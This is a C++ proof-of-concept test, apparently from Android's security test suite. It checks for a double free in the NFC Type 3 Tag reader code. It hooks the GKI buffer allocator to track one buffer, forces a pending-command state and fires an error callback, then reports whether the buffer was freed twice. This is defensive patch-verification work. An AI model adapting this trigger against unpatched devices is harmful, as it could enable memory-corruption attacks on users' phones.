1 /*
2 * Copyright (C) 2021 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include "../includes/common.h"
18 #include <dlfcn.h>
19 #include <nfc_int.h>
20 #include <rw_int.h>
21 #include <vector>
22
23 using namespace std;
24
25 extern tRW_CB rw_cb;
26 extern tNFC_CB nfc_cb;
27 void rw_init(void);
28
29 tNFC_STATUS rw_t3t_select(uint8_t peerNfcID[NCI_RF_F_UID_LEN],
30 uint8_t mrtiCheck, uint8_t mrtiUpdate);
31
32 static void (*real_GKI_freebuf)(void *ptr) = nullptr;
33 static void *(*real_GKI_getpoolbuf)(uint8_t pool_id) = nullptr;
34 bool kIsInitialized = false;
35 bool kIsVulnerable = false;
36
37 struct myPtr {
38 void *ptr = nullptr;
39 bool isFreed = false;
40 };
41
42 struct myPtr vulnerablePtr;
43
44 enum {
45 RW_T3T_STATE_NOT_ACTIVATED,
46 RW_T3T_STATE_IDLE,
47 RW_T3T_STATE_COMMAND_PENDING
48 };
49
poc_cback(tRW_EVENT,tRW_DATA *)50 void poc_cback(tRW_EVENT, tRW_DATA *) {}
51
GKI_start_timer(uint8_t,int32_t,bool)52 void GKI_start_timer(uint8_t, int32_t, bool) {}
53
GKI_stop_timer(uint8_t)54 void GKI_stop_timer(uint8_t) {}
55
init(void)56 void init(void) {
57 real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
58 if (!real_GKI_freebuf) {
59 return;
60 }
61 real_GKI_getpoolbuf =
62 (void *(*)(uint8_t))dlsym(RTLD_NEXT, "_Z14GKI_getpoolbufh");
63 if (!real_GKI_freebuf) {
64 return;
65 }
66 kIsInitialized = true;
67 }
68
GKI_getpoolbuf(uint8_t pool_id)69 void *GKI_getpoolbuf(uint8_t pool_id) {
70 if (!kIsInitialized) {
71 init();
72 }
73 void *ptr = real_GKI_getpoolbuf(pool_id);
74 if (pool_id == NFC_RW_POOL_ID) {
75 vulnerablePtr.ptr = ptr;
76 }
77 return ptr;
78 }
79
GKI_freebuf(void * ptr)80 void GKI_freebuf(void *ptr) {
81 if (!kIsInitialized) {
82 init();
83 }
84 if (ptr == vulnerablePtr.ptr) {
85 if (vulnerablePtr.isFreed) {
86 kIsVulnerable = true;
87 } else {
88 vulnerablePtr.isFreed = true;
89 }
90 }
91 real_GKI_freebuf(ptr);
92 }
93
main()94 int main() {
95 tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
96
97 GKI_init();
98 rw_init();
99 rw_cb.p_cback = &poc_cback;
100
101 uint8_t peerNfcID[NCI_RF_F_UID_LEN];
102 uint8_t mrtiCheck = 1, mrtiUpdate = 1;
103 if (rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) != NFC_STATUS_OK) {
104 return EXIT_FAILURE;
105 }
106
107 tNFC_CONN p_data = {};
108 NFC_HDR nfcHdr = {};
109 p_data.data.p_data = &nfcHdr;
110
111 tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
112 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
113
114 uint8_t conn_id = NFC_RF_CONN_ID;
115 tNFC_CONN_EVT event = NFC_ERROR_CEVT;
116 p_cb->p_cback(conn_id, event, &p_data);
117 return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
118 }
119